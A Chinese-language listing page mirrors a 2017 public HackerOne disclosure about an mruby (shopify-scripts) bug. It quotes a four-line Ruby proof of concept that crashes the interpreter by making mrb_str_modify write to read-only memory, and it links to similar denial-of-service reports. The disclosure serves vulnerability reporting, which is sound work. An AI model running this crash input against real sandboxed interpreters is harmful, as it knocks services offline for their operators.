POJIA破甲
地图 / mrb_str_modify try to write to memory not marked for writing

mrb_str_modify try to write to memory not marked for writing

拒绝服务 / 资源消耗失控 / #193077

厂商
shopify-scripts
严重程度
未评级
赏金
—
弱点
资源消耗失控
研究员
@marotagem_vrt
披露日期
2017-02-06
资产
—
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(519 字符中的一小部分)
The proof-of-concept below can be used to crash the interpreter (DoS) because forces it to try to write a memory not marked for writing.
原文中的代码
a = Time.new.zone
a.rstrip!
GC.start
a.next!

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 shopify-scripts 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @marotagem_vrt · 版权归作者与 shopify-scripts 所有

同类报告

DoS on PayPal via web cache poisoningPayPal · 2019-10-23 · $9,700profile-picture name parameter with large value lead to DoS for other users and programs on the platformHackerOne · 2020-03-25Denial of service to WP-JSON API by cache poisoning the CORS allow origin headerAutomattic · 2020-04-16[Urgent] Invalidating OAuth2 Bearer token makes TweetDeck unavailableX / xAI · 2019-04-25Oracle Webcenter Sites administrative and hi-privilege access available directly from the internet (/cs/Satellite)LocalTapiola · — · $18,000Denial of service via cache poisoningHackerOne · 2018-12-22 · $2,500